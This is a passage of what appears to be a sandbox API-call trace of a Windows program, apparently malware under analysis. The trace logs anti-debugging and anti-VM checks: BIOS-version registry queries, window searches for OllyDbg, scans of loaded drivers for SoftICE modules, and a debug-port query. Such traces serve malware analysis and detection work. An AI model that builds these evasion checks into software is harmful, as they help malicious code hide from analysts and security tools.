phkResult=0x688881*=0x16c) returned 0x0 [0051.676] RegQueryValueExA (in: hKey=0x16c, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x688885, lpcbData=0x688a85*=0x200 | out: lpType=0x0, lpData=0x688885*=0x4d, lpcbData=0x688a85*=0x20) returned 0x0 [0051.676] RegCloseKey (hKey=0x16c) returned 0x0 [0051.676] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x688881 | out: phkResult=0x688881*=0x16c) returned 0x0 [0051.676] RegQueryValueExA (in: hKey=0x16c, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x688885, lpcbData=0x688a85*=0x200 | out: lpType=0x0, lpData=0x688885*=0x4e, lpcbData=0x688a85*=0x79) returned 0x0 [0051.676] RegQueryValueExA (in: hKey=0x16c, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x688885, lpcbData=0x688a85*=0x200 | out: lpType=0x0, lpData=0x688885*=0x4e, lpcbData=0x688a85*=0x200) returned 0x2 [0051.676] RegQueryValueExA (in: hKey=0x16c, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x688885, lpcbData=0x688a85*=0x200 | out: lpType=0x0, lpData=0x688885*=0x4e, lpcbData=0x688a85*=0x79) returned 0x0 [0051.676] RegCloseKey (hKey=0x16c) returned 0x0 [0051.678] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0 [0051.678] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0 [0051.678] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0 [0051.678] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x174 [0051.691] Process32First (in: hSnapshot=0x174, lppe=0x68e2d8 | out: lppe=0x68e2d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.692] Process32Next (in: hSnapshot=0x174, lppe=0x68e2d8 | out: lppe=0x68e2d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.693] CloseHandle (hObject=0x174) returned 1 [0051.695] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0051.695] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.695] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.695] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.697] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0051.720] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0051.721] lstrcmpiA (lpString1="ntice.sys", lpString2="kd.dll") returned 1 [0051.722] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0051.722] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0051.723] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="werkernel.sys") returned -1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="tm.sys") returned -1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="BOOTVID.dll") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="FLTMGR.SYS") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="clipsp.sys") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="cmimcext.sys") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="ntosext.sys") returned -1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0051.724] lstrcmpiA (lpString1="ntice.sys", lpString2="SleepStudyHelper.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="acpiex.sys") returned 1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="WppRecorder.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="intelpep.sys") returned 1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="WindowsTrustedRT.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="WindowsTrustedRTProxy.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="pdc.sys") returned -1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="CEA.sys") returned 1 [0051.725] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="spaceport.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="storahci.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="storport.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="EhStorClass.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="Wof.sys") returned -1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="NTFS.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0051.726] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwfs.sys") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="volume.sys") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="iorate.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="cdrom.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="filecrypt.sys") returned 1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="tbs.sys") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0051.727] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="BasicDisplay.sys") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="dxgkrnl.sys") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="vmbkmclr.sys") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="BasicRender.sys") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="vwififlt.sys") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0051.728] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="npsvctrig.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="gpuenergydrv.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="ahcache.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="kdnic.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0051.729] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="NdisVirtualBus.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_diskdump.sys") returned 1 [0051.730] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_storahci.sys") returned 1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="win32kfull.sys") returned -1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="win32kbase.sys") returned -1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="dxgmms2.sys") returned 1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="cdd.dll") returned 1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="wcifs.sys") returned -1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="storqosflt.sys") returned -1 [0051.731] lstrcmpiA (lpString1="ntice.sys", lpString2="registry.sys") returned -1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="mslldp.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="srvnet.sys") returned -1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="srv2.sys") returned -1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="mmcss.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="Ndu.sys") returned 1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="peauth.sys") returned -1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="srv.sys") returned -1 [0051.732] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpipreg.sys") returned -1 [0051.733] lstrcmpiA (lpString1="ntice.sys", lpString2="condrv.sys") returned 1 [0051.733] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0051.733] lstrcmpiA (lpString1="ntice.sys", lpString2="e1i63x64.sys") returned 1 [0051.733] VirtualFree (lpAddress=0x930000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.733] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0051.733] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.734] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.734] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.735] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0051.735] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0051.735] lstrcmpiA (lpString1="iceext.sys", lpString2="kd.dll") returned -1 [0051.735] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0051.735] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="werkernel.sys") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="tm.sys") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="BOOTVID.dll") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="FLTMGR.SYS") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="clipsp.sys") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="cmimcext.sys") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="ntosext.sys") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0051.736] lstrcmpiA (lpString1="iceext.sys", lpString2="SleepStudyHelper.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="acpiex.sys") returned 1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="WppRecorder.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="intelpep.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="WindowsTrustedRT.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="WindowsTrustedRTProxy.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="pdc.sys") returned -1 [0051.737] lstrcmpiA (lpString1="iceext.sys", lpString2="CEA.sys") returned 1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="spaceport.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="storahci.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="storport.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="EhStorClass.sys") returned 1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="Wof.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="NTFS.sys") returned -1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0051.738] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwfs.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="volume.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="iorate.sys") returned -1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0051.739] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="cdrom.sys") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="filecrypt.sys") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="tbs.sys") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="BasicDisplay.sys") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="dxgkrnl.sys") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="vmbkmclr.sys") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="BasicRender.sys") returned 1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0051.740] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="vwififlt.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="npsvctrig.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="gpuenergydrv.sys") returned 1 [0051.741] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="ahcache.sys") returned 1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="kdnic.sys") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0051.742] lstrcmpiA (lpString1="iceext.sys", lpString2="NdisVirtualBus.sys") returned -1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0051.743] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0051.746] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.746] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.746] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.752] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.752] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.753] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.759] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.759] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.759] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.885] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.885] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.886] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.891] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.891] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.891] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.897] GetSystemDirectoryA (in: lpBuffer=0x4b6135, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0051.897] CreateFileA (lpFileName="C:\\WINDOWS\\system32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x4, hTemplateFile=0x0) returned 0x170 [0051.898] SetFilePointer (in: hFile=0x170, lDistanceToMove=463488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71280 [0051.898] ReadFile (in: hFile=0x170, lpBuffer=0x69b58e, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x69b5ae, lpOverlapped=0x0 | out: lpBuffer=0x69b58e*, lpNumberOfBytesRead=0x69b5ae*=0x20, lpOverlapped=0x0) returned 1 [0051.913] CloseHandle (hObject=0x170) returned 1 [0051.913] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff28, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff28, ReturnLength=0x0) returned 0x0 [0051.952] GetVersionExA (in: lpVersionInformation=0x6a40b4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6a40b4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0051.952] 